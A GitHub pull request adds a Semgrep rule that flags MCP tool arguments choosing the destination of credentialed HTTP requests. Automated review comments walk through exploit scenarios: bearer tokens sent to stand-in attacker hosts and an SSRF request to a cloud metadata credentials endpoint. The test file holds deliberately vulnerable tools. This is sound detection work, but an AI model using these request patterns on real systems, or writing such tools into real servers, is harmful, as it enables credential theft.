Add mcp-credential-destination-injection-python rule - #4043
Conversation
| @mcp.tool() | ||
| def fetch_httpx_with_bearer(url: str, token: str) -> str: | ||
| # ruleid: mcp-credential-destination-injection-python | ||
| response = httpx.get(url, headers={"Authorization": f"Bearer {token}"}) |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
In fetch_httpx_with_bearer, a caller-supplied url and token are used directly in an authenticated HTTP request, allowing an attacker to point the request at their own server and steal the bearer token.
More details about this
In fetch_httpx_with_bearer, both url and token are MCP tool parameters supplied directly by the caller, and token is forwarded as a Bearer token in the Authorization header of an httpx.get call to the caller-controlled url.
Exploit scenario:
- An attacker invokes the
fetch_httpx_with_bearerMCP tool, passing a URL they control—e.g.,https://attacker.example.com/steal—along with the victim's real bearer token (or tricking the victim's MCP client into supplying its own ambient token astoken). - The tool executes
httpx.get("https://attacker.example.com/steal", headers={"Authorization": "Bearer <victim_token>"}). - The attacker's server at
attacker.example.comlogs the incomingAuthorizationheader and captures<victim_token>verbatim. - The attacker now replays this token against any service that accepts it (e.g., the API the token was originally issued for), gaining full access to the victim's account or data on that service.
- Because the MCP tool returns
response.text, the attacker can also craft a response that looks legitimate, making the victim unaware that their credential was exfiltrated.
Dataflow graph
flowchart LR
classDef invis fill:white, stroke: none
classDef default fill:#e7f5ff, color:#1c7fd6, stroke: none
subgraph File0["<b>ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py</b>"]
direction LR
%% Source
subgraph Source
direction LR
v0["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L31 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 31] url</a>"]
end
%% Intermediate
subgraph Traces0[Traces]
direction TB
v2["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L31 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 31] url</a>"]
end
%% Sink
subgraph Sink
direction LR
v1["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L33 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 33] httpx.get(url, headers={"Authorization": f"Bearer {token}"})</a>"]
end
end
%% Class Assignment
Source:::invis
Sink:::invis
Traces0:::invis
File0:::invis
%% Connections
Source --> Traces0
Traces0 --> Sink
To resolve this comment:
✨ Commit fix suggestion
| response = httpx.get(url, headers={"Authorization": f"Bearer {token}"}) | |
| import os | |
| import urllib.parse | |
| # Allowlist of trusted domains for authenticated requests | |
| ALLOWED_HOSTS = {"api.example.com", "api.trusted-service.com"} | |
| @mcp.tool() | |
| def fetch_httpx_with_bearer(url: str) -> str: | |
| parsed = urllib.parse.urlparse(url) | |
| if parsed.hostname not in ALLOWED_HOSTS: | |
| raise ValueError(f"URL host '{parsed.hostname}' is not in the allowlist") | |
| # Load credential from environment variable instead of accepting as tool parameter | |
| token = os.environ["API_TOKEN"] | |
| response = httpx.get(parsed.geturl(), headers={"Authorization": f"Bearer {token}"}) | |
| return response.text |
View step-by-step instructions
The vulnerability here is that user-controlled url and token parameters from MCP tool calls are passed directly into authenticated HTTP requests. An attacker can supply a URL they control and receive the victim's credentials.
-
Define an allowlist of trusted domains at the top of your file, e.g.
ALLOWED_HOSTS = {"api.example.com", "api.trusted-service.com"}. -
In each affected tool function (
fetch_with_bearer,post_with_bearer,fetch_httpx_with_bearer, andfetch_with_auth_tuple), parse the incoming URL before making the request usingurllib.parse.urlparse(url)and extract the hostname with.hostname. -
Check that the parsed hostname is in your allowlist before proceeding:
if parsed.hostname not in ALLOWED_HOSTS: raise ValueError(f"URL host '{parsed.hostname}' is not in the allowlist"). This ensures credentials are never forwarded to an attacker-controlled server. -
Pass the validated URL (using
parsed.geturl()) to the HTTP call instead of the rawurlparameter, e.g.requests.get(parsed.geturl(), headers={"Authorization": f"Bearer {token}"}). -
Avoid accepting the credential (
token,api_key) as a tool parameter at all where possible — hardcode or load the credential from an environment variable (e.g.os.environ["API_TOKEN"]) inside the function, so the caller never has the ability to supply or influence the credential value. Thefetch_hardcoded_destinationfunction in the file already shows this safer pattern.
Note: The root cause is that MCP tool parameters are attacker-controlled inputs. Treating both
urland the credential as tool parameters creates the dangerous combination — validating the destination URL with an allowlist breaks the attack chain, and removing the credential parameter from the tool signature eliminates it entirely.
💬 Request to ignore this finding
Reply to this comment to request to ignore this finding. Reply using the following format:
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
You can view more details about this finding in the Semgrep AppSec Platform.
| @mcp.tool() | ||
| def post_with_bearer(url: str, token: str) -> str: | ||
| # ruleid: mcp-credential-destination-injection-python | ||
| response = requests.post(url, headers={"Authorization": f"Bearer {token}"}) |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
In post_with_bearer, a caller-controlled url and token are used directly in an authenticated requests.post call, allowing an attacker to redirect the victim's Bearer token to an arbitrary server they control and steal it.
More details about this
In post_with_bearer, both url and token come directly from MCP tool parameters—meaning any caller of this tool controls both the destination and the credential being sent.
Exploit scenario:
- An attacker invokes the
post_with_bearerMCP tool, supplying a URL they control, e.g.url="https://evil.attacker.com/collect", and leavestokenas the victim's real Bearer token (or tricks the victim's agent/client into passing their own token). - The tool executes
requests.post("https://evil.attacker.com/collect", headers={"Authorization": "Bearer <victim_token>"}). - The attacker's server receives the full
Authorization: Bearer <victim_token>header in the HTTP request. - The attacker now holds a valid Bearer token they can replay against any service that accepts it—impersonating the victim, accessing their data, or escalating privileges to other resources protected by that token.
Because the token parameter is passed verbatim into the Authorization header and url is never validated, there is no barrier preventing the credential from being exfiltrated to an arbitrary third-party server.
Dataflow graph
flowchart LR
classDef invis fill:white, stroke: none
classDef default fill:#e7f5ff, color:#1c7fd6, stroke: none
subgraph File0["<b>ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py</b>"]
direction LR
%% Source
subgraph Source
direction LR
v0["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L17 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 17] url</a>"]
end
%% Intermediate
subgraph Traces0[Traces]
direction TB
v2["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L17 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 17] url</a>"]
end
%% Sink
subgraph Sink
direction LR
v1["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L19 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 19] requests.post(url, headers={"Authorization": f"Bearer {token}"})</a>"]
end
end
%% Class Assignment
Source:::invis
Sink:::invis
Traces0:::invis
File0:::invis
%% Connections
Source --> Traces0
Traces0 --> Sink
To resolve this comment:
✨ Commit fix suggestion
| response = requests.post(url, headers={"Authorization": f"Bearer {token}"}) | |
| import os | |
| import urllib.parse | |
| ALLOWED_HOSTS = { | |
| # Add trusted hostnames here, e.g.: "api.example.com", "internal.example.com" | |
| # Replace or extend this set with the actual trusted domains for your environment. | |
| "<VERIFIED_VALUE_REQUIRED>" | |
| } | |
| @mcp.tool() | |
| def post_with_bearer(url: str) -> str: | |
| # Load credentials server-side; never accept tokens as user-supplied parameters. | |
| token = os.environ["SERVICE_TOKEN"] | |
| parsed = urllib.parse.urlparse(url) | |
| if parsed.hostname not in ALLOWED_HOSTS: | |
| raise ValueError(f"Untrusted destination: {parsed.hostname}") | |
| response = requests.post(parsed.geturl(), headers={"Authorization": f"Bearer {token}"}) | |
| return response.text |
View step-by-step instructions
The vulnerability here is that user-supplied url and token parameters from MCP tool calls are passed directly to HTTP requests with authentication headers. An attacker can supply a malicious URL and receive the victim's credentials.
-
Create an allowlist of trusted domains that are permitted to receive authentication credentials, for example
ALLOWED_HOSTS = {"api.example.com", "internal.example.com"}. -
Before making any authenticated HTTP request, validate the URL against the allowlist by parsing it with
urllib.parse.urlparse(url)and checking thatparsed.hostnameis inALLOWED_HOSTS. Reject the request if it doesn't match. -
Replace the user-supplied
tokenparameter with a server-side credential lookup. Instead of accepting the token as an MCP tool parameter, load it from an environment variable or secrets manager (e.g.token = os.environ["SERVICE_TOKEN"]). This ensures credentials never travel through user-controlled input at all. -
If you must accept a token from the caller, scope it: accept only a short-lived, scoped token identifier (not the raw bearer token), and resolve the actual credential server-side before attaching it to the request.
-
Update each vulnerable function to combine steps 2 and 3, for example:
if parsed.hostname not in ALLOWED_HOSTS: raise ValueError(f"Untrusted destination: {parsed.hostname}")before callingrequests.get(...)orrequests.post(...).
Note: The core risk is that an attacker controls both where credentials go (the URL) and which credentials are sent (the token). Fixing either one breaks the attack — validating the destination prevents exfiltration even if credentials are user-supplied, and loading credentials server-side prevents theft even if the URL is attacker-controlled. Doing both is the most robust approach.
💬 Request to ignore this finding
Reply to this comment to request to ignore this finding. Reply using the following format:
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
You can view more details about this finding in the Semgrep AppSec Platform.
| @mcp.tool() | ||
| def fetch_with_bearer(url: str, token: str) -> str: | ||
| # ruleid: mcp-credential-destination-injection-python | ||
| response = requests.get(url, headers={"Authorization": f"Bearer {token}"}) |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
The fetch_with_bearer MCP tool passes a caller-supplied token as a Bearer authorization header to a caller-supplied url, allowing an attacker to redirect the authenticated request to their own server and steal the credential.
More details about this
In fetch_with_bearer, both url and token come directly from MCP tool call parameters — meaning any caller of this tool fully controls where the HTTP request goes and supplies the Bearer token that gets attached to it.
Exploit scenario:
- An attacker (or a malicious MCP client/prompt) calls
fetch_with_bearerwithurl="https://attacker.com/steal"andtoken="<victim's real token>". requests.getfires aGETtohttps://attacker.com/stealwith the headerAuthorization: Bearer <victim's real token>.- The attacker's server logs the incoming
Authorizationheader and now has the victim's Bearer token in full. - The attacker replays that token against the legitimate service it was issued for (e.g., a GitHub API, internal service, cloud provider) to act as the victim — reading data, making changes, or escalating privileges.
Because url is never validated against a trusted domain allowlist before requests.get is called, any destination — including an attacker-controlled one — will receive the Authorization: Bearer {token} header verbatim.
Dataflow graph
flowchart LR
classDef invis fill:white, stroke: none
classDef default fill:#e7f5ff, color:#1c7fd6, stroke: none
subgraph File0["<b>ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py</b>"]
direction LR
%% Source
subgraph Source
direction LR
v0["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L10 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 10] url</a>"]
end
%% Intermediate
subgraph Traces0[Traces]
direction TB
v2["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L10 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 10] url</a>"]
end
%% Sink
subgraph Sink
direction LR
v1["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L12 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 12] requests.get(url, headers={"Authorization": f"Bearer {token}"})</a>"]
end
end
%% Class Assignment
Source:::invis
Sink:::invis
Traces0:::invis
File0:::invis
%% Connections
Source --> Traces0
Traces0 --> Sink
To resolve this comment:
✨ Commit fix suggestion
| response = requests.get(url, headers={"Authorization": f"Bearer {token}"}) | |
| import requests | |
| import httpx | |
| import urllib.parse | |
| import os | |
| from mcp.server.fastmcp import FastMCP | |
| # Define an allowlist of trusted domains that are permitted to receive credentials. | |
| # Update this set to include the actual trusted hostnames for your deployment. | |
| ALLOWED_HOSTS = { | |
| # "api.example.com", | |
| # "internal.example.com", | |
| } | |
| mcp = FastMCP("test-server") | |
| def is_allowed_url(url: str) -> bool: | |
| """Validate that a URL uses HTTPS and targets an allowlisted hostname.""" | |
| parsed = urllib.parse.urlparse(url) | |
| return parsed.scheme == "https" and parsed.hostname in ALLOWED_HOSTS | |
| @mcp.tool() | |
| def fetch_with_bearer(url: str) -> str: | |
| if not is_allowed_url(url): | |
| raise ValueError(f"URL host is not in the allowed list") | |
| # Load the credential from the environment instead of accepting it as a parameter. | |
| token = os.environ["SERVICE_API_TOKEN"] | |
| response = requests.get(url, headers={"Authorization": f"Bearer {token}"}) | |
| return response.text | |
| @mcp.tool() | |
| def post_with_bearer(url: str) -> str: | |
| if not is_allowed_url(url): | |
| raise ValueError(f"URL host is not in the allowed list") | |
| # Load the credential from the environment instead of accepting it as a parameter. | |
| token = os.environ["SERVICE_API_TOKEN"] | |
| response = requests.post(url, headers={"Authorization": f"Bearer {token}"}) | |
| return response.text | |
| @mcp.tool() | |
| def fetch_with_auth_tuple(url: str) -> str: | |
| if not is_allowed_url(url): | |
| raise ValueError(f"URL host is not in the allowed list") | |
| # Load the credential from the environment instead of accepting it as a parameter. | |
| api_key = os.environ["SERVICE_API_KEY"] | |
| response = requests.get(url, auth=(api_key, "")) | |
| return response.text | |
| @mcp.tool() | |
| def fetch_httpx_with_bearer(url: str) -> str: | |
| if not is_allowed_url(url): | |
| raise ValueError(f"URL host is not in the allowed list") | |
| # Load the credential from the environment instead of accepting it as a parameter. | |
| token = os.environ["SERVICE_API_TOKEN"] | |
| response = httpx.get(url, headers={"Authorization": f"Bearer {token}"}) | |
| return response.text | |
| @mcp.tool() | |
| def fetch_no_credential(url: str) -> str: | |
| # ok: mcp-credential-destination-injection-python | |
| response = requests.get(url) | |
| return response.text |
View step-by-step instructions
MCP Credential Destination Injection
Your MCP tool functions accept a url parameter from callers and pass authentication credentials (Bearer tokens, API keys) directly to that URL. An attacker can supply a URL they control to harvest the victim's credentials.
The fix is to validate the url parameter against an allowlist of trusted domains before making any authenticated request.
-
Define an allowlist of trusted domains at the top of your file, e.g.
ALLOWED_HOSTS = {"api.example.com", "internal.example.com"}. -
Add a URL validation helper function before your tool definitions:
def is_allowed_url(url: str) -> bool: parsed = urllib.parse.urlparse(url); return parsed.scheme == "https" and parsed.hostname in ALLOWED_HOSTS
This ensures only HTTPS requests to known hosts ever receive credentials. -
In each affected tool function (
fetch_with_bearer,post_with_bearer,fetch_with_auth_tuple,fetch_httpx_with_bearer), call the validator at the start of the function and raise an error if the URL is not trusted:
if not is_allowed_url(url): raise ValueError(f"URL host is not in the allowed list") -
Remove the
token/api_keyparameter from each tool's signature entirely — callers should not be supplying credentials. Instead, load credentials from environment variables inside the function:token = os.environ["SERVICE_API_TOKEN"]. This eliminates the taint source, so even if URL validation were bypassed, no attacker-controlled credential could be injected. -
Update your imports to include
import osif not already present.
Alternatively, if different downstream services genuinely require different credentials, store a mapping of host → credential in environment variables or a secrets manager and look up the credential based on the validated (allowlisted) hostname rather than accepting it as a parameter.
💬 Request to ignore this finding
Reply to this comment to request to ignore this finding. Reply using the following format:
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
You can view more details about this finding in the Semgrep AppSec Platform.
| @mcp.tool() | ||
| def fetch_httpx_with_bearer(url: str, token: str) -> str: | ||
| # ruleid: mcp-credential-destination-injection-python | ||
| response = httpx.get(url, headers={"Authorization": f"Bearer {token}"}) |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
The url parameter of the fetch_httpx_with_bearer MCP tool flows unsanitized into httpx.get(), enabling SSRF. An attacker can redirect the request—along with the Bearer token—to internal cloud metadata endpoints or attacker-controlled servers to exfiltrate credentials or access internal infrastructure.
More details about this
In fetch_httpx_with_bearer, the MCP tool parameter url (supplied by an external client) is passed directly into httpx.get(url, ...) along with a Bearer token in the Authorization header. This creates a Server-Side Request Forgery (SSRF) vulnerability where an attacker controls both the destination and receives the credential.
Exploit scenario:
- An attacker calls the
fetch_httpx_with_bearerMCP tool with a maliciousurl, e.g.:url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" token = "attacker-does-not-care" - The server executes
httpx.get("http://169.254.169.254/...", headers={"Authorization": "Bearer attacker-does-not-care"}), making a request from the server's network to the AWS EC2 instance metadata endpoint. - The response (containing IAM role credentials) is returned to the attacker via
response.text.
Alternatively, the attacker could point url at an attacker-controlled server (e.g., https://evil.example.com/collect), causing the server to send the legitimate token value to the attacker:
url = "https://evil.example.com/collect"
token = "<victim's real Bearer token>"
This leaks the token credential to an external party, since the server blindly forwards it in the Authorization header to whatever destination url specifies.
Dataflow graph
flowchart LR
classDef invis fill:white, stroke: none
classDef default fill:#e7f5ff, color:#1c7fd6, stroke: none
subgraph File0["<b>ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py</b>"]
direction LR
%% Source
subgraph Source
direction LR
v0["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L31 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 31] url</a>"]
end
%% Intermediate
subgraph Traces0[Traces]
direction TB
v2["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L31 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 31] url</a>"]
end
%% Sink
subgraph Sink
direction LR
v1["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L33 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 33] url</a>"]
end
end
%% Class Assignment
Source:::invis
Sink:::invis
Traces0:::invis
File0:::invis
%% Connections
Source --> Traces0
Traces0 --> Sink
To resolve this comment:
✨ Commit fix suggestion
| response = httpx.get(url, headers={"Authorization": f"Bearer {token}"}) | |
| import ipaddress | |
| import socket | |
| from furl import furl | |
| import validators | |
| # Allowlist of trusted hosts that credentials may be sent to | |
| ALLOWED_HOSTS = {"api.example.com"} | |
| def _validate_url(url: str) -> None: | |
| """Validate a URL against the allowlist and block private/internal IP ranges.""" | |
| if not validators.url(url): | |
| raise ValueError(f"Invalid URL: {url}") | |
| f = furl(url) | |
| host = f.host | |
| if host not in ALLOWED_HOSTS: | |
| raise ValueError(f"Host '{host}' is not in the list of allowed hosts.") | |
| # Block requests to loopback and private IP ranges | |
| try: | |
| resolved_ip = socket.gethostbyname(host) | |
| ip = ipaddress.ip_address(resolved_ip) | |
| if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved: | |
| raise ValueError(f"Requests to private/internal IP addresses are not allowed: {resolved_ip}") | |
| except socket.gaierror: | |
| raise ValueError(f"Unable to resolve host: {host}") | |
| @mcp.tool() | |
| def fetch_httpx_with_bearer(url: str, token: str) -> str: | |
| _validate_url(url) | |
| # ruleid: mcp-credential-destination-injection-python | |
| response = httpx.get(furl(url).url, headers={"Authorization": f"Bearer {token}"}) | |
| return response.text |
View step-by-step instructions
The vulnerability here is that an attacker-controlled url parameter is passed directly to an HTTP request that also includes credentials (Bearer tokens, API keys, etc.). This allows an attacker to redirect your credentials to a server they control, or access internal services.
-
Define an allowlist of permitted base URLs or domains. For example, create a set of allowed origins:
ALLOWED_HOSTS = {"api.example.com", "api.another-trusted.com"} -
Parse and validate the incoming
urlparameter before use. Usefurl(already installed) to parse the URL:f = furl(url), then checkf.host in ALLOWED_HOSTS. If the host is not in the allowlist, raise aValueError. -
Additionally, block requests to private/internal IP ranges and loopback addresses. Use the
validatorslibrary to check the URL is valid first:validators.url(url), then also reject any URL whose host resolves to a private range (e.g.,localhost,127.x.x.x,10.x.x.x,192.168.x.x,169.254.x.x). -
Replace every MCP tool that accepts a user-controlled
urlwith a version that performs this validation before callingrequests.get(...)orhttpx.get(...). For example, your validated function would look like:f = furl(url); assert f.host in ALLOWED_HOSTS; response = requests.get(f.url, headers={...}) -
For tools where the destination is always the same (like
fetch_hardcoded_destination), remove theurlparameter entirely and hardcode the destination URL directly in the call, e.g.requests.get("https://api.example.com/data", ...). This is the safest option — never let callers influence the URL when the destination is known ahead of time.
Alternatively, if the tool only ever needs to fetch from a small set of known endpoints, replace the url parameter with an enum-style identifier (e.g., endpoint: str that maps to {"profile": "https://api.example.com/profile", ...}), so the caller never controls the actual URL.
💬 Request to ignore this finding
Reply to this comment to request to ignore this finding. Reply using the following format:
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
You can view more details about this finding in the Semgrep AppSec Platform.
Detects an MCP tool argument flowing into the destination of an HTTP request that also carries a credential (Authorization header, bearer token, or auth parameter). This is distinct from the existing mcp-ssrf rule (which flags any tainted URL reaching a request call, regardless of credentials) and mcp-credential-in-response (which flags a credential leaking back through a tool's return value): here the credential is attached correctly and never leaves the server, but its destination is chosen by untrusted input, so an attacker who controls the tool argument can redirect the credential to a destination they control. Includes a taint-mode rule for requests/httpx and a test file with matching ruleid/ok cases; verified locally with 'semgrep --test'.
a1f7e2c to
e8fcb55
Compare
Summary
Adds a new rule to the
ai/ai-best-practices/MCP category: mcp-credential-destination-injection-python.Detects an MCP tool argument flowing into the destination of an HTTP request that also carries a credential (an
Authorizationheader, bearer token, orauthparameter).This is a distinct pattern from the two existing rules it sits next to:
mcp-ssrfflags any tainted URL reaching a request call, regardless of whether a credential is attached.mcp-credential-in-responseflags a credential leaking back through a tool's return value.Here the credential never leaks and the request itself is unremarkable — the issue is that the destination is chosen by untrusted input while a credential rides along. An attacker who controls the tool argument can redirect the server's own credential to a destination of their choosing. This is the mechanism behind a recently disclosed SSRF in an official cloud vendor's MCP server (CVE-2026-14540), where a redirect carried a credentialed request to a cloud instance metadata endpoint.
What's included
mcp-credential-destination-injection.yaml— taint-mode rule coveringrequests/httpxwithheaders={"Authorization": ...}andauth=sinks, following the same source pattern (@server.tool()handler parameter) as the existingmcp-ssrfrule.mcp-credential-destination-injection.py— test file withruleid/okcases (credential+tainted destination fires; no credential, sanitized destination, or hardcoded destination do not fire).Verified locally with
semgrep --test— all cases pass.Test plan
semgrep --test ai/ai-best-practices/mcp-credential-destination-injectionpasses locallymcp-ssrf,mcp-credential-in-response,mcp-hardcoded-config-secret) — none cover this pattern